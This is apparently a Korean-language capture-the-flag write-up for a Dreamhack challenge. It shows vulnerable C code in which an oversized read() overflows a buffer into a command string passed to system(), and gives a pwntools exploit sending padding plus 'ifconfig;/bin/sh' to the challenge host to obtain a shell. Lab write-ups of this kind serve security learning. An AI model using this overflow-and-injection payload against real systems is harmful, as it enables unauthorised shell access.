Logical Bug: Command Injection과 관련해서는
https://dreamhack.io/lecture/courses/108
에 아주 자세하고 간략하고 알기 쉽게 설명돼있으니 강의를 꼭 수강하기 바란다.
소스 코드
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
exploit 설계
(1) center_name에 read함수를 통해 100byte만큼 입력을 받으므로, bof를 일으켜 cmd_ip의 내용을 overwrite 할 수 있을 것이다
(2)
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
에서 cmd_ip의 첫 8바이트만 검사하므로, ifconfig 뒤에 추가로 원하는 명령어를 붙여 system(cmd_ip)를 통해 원하는 명령어를 실행시킬 수 있다.
(3) 이후 system(cmd_ip)를 통해 명령이 실행되면 exit(0)을 통해 프로그램이 종료된다.
exploit(cmd_center.py)
를 통해 스택 구조가 다음과 같음을 알 수 있다.
이를 토대로 exploit을 다음과 같이 짰다
from pwn import *
p = remote('host3.dreamhack.games', 13012)
payload = b'a'*32 + b'ifconfig' + b';/bin/sh'
p.sendafter('Center name: ', payload)
p.interactive()